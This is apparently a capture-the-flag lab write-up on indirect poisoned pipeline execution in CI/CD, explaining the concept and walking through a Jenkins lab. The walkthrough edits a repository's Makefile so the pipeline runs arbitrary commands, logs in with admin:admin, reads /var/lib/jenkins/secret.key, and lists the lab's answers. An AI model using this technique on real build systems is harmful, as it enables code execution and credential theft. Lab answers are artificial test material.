Learning Objectives

• Understand how a larger CI/CD environment operates.

• Explore indirect poisoned pipeline execution (PPE) and how it can be used to exploit Git.

• Apply CI/CD exploitation knowledge to the larger CI/CD environment.

Understanding Concept

CI/CD Environment

Often, developers or other end-users only see a limited portion of the CI/CD pipeline. Developers interact with Git on a daily basis, so it makes sense that CI/CD is most commonly associated with Git — although it only makes up a quarter of a typical CI/CD pipeline. The diagram below visualises the general segments of a pipeline: development, build, testing, and deployment. While these segments could be expanded and interchanged, all pipelines will follow a similar order.

Automation Platforms

Jenkins, along with many other applications, handles a pipeline’s build segment. These platforms can be remote or local. For example, Travis CI is a remote build platform, whereas Jenkins is a local automation server.

These platforms rely on runners or agents to build a project on a pre-configured VM. One advantage of some automation platforms is that they can automatically create and configure build environments on demand. This allows building and testing in different environments without manual configuration or administration.

Indirect Poisoned Pipeline Execution

Let’s briefly shift our focus back to the development stage. In the previous task, poisoned pipeline execution was introduced, wherein an attacker has direct write access to a repository pipeline. If an attacker doesn’t have direct write access (to a main-protected or branch-protected repository, for example), it’s possible they have write access to other repositories that could indirectly modify the behaviour of the pipeline execution.

If an environment is employing a development pipeline, a configuration file must be defined for the steps the build system must take. If a repository contains all the necessary source and build files, and another repository contains the pipeline files, write permissions could differ between the two, resulting in an indirect PPE vulnerability. In this example, you can assume that the repository containing the source is not write-protected and the repository containing the pipeline is write-protected.

To exploit this vulnerability, an attacker would need to identify a file or other parameter they can arbitrarily change that the pipeline file will use. Makefiles and other build files are usually exploitable because they are used to build the source and can run any arbitrary commands as defined in the makefile. Below is an example of what this might look like in a pipeline file.

---

1. What Linux kernel version is the Jenkins node?

git clone http://10.10.169.197:3000/McHoneyBell/gift-wrapper.git
cd gift-wrapper
nano Makefile

change the command to uname -a

git add .
git commit -m "<message here>"
git push

then navigate to http://10.10.169.197:8080

Login with admin:admin

Click the gift-wrapper-build → gift-wrapper-pipeline → main

Then Click Build in the left side

Then Click on the last build and click Console output on the left side

Now, Scroll down to see the output of the command that we put on the Makefile

Answer: 5.4.0-1029-aws

2. What value is found from /var/lib/jenkins/secret.key?

Follow the above steps just change the command :

Answer: 90e748eafdd2af4746a5ef7941e63272f24f1e33a2882f614ebfa6742e772ba7

thanks for reading!!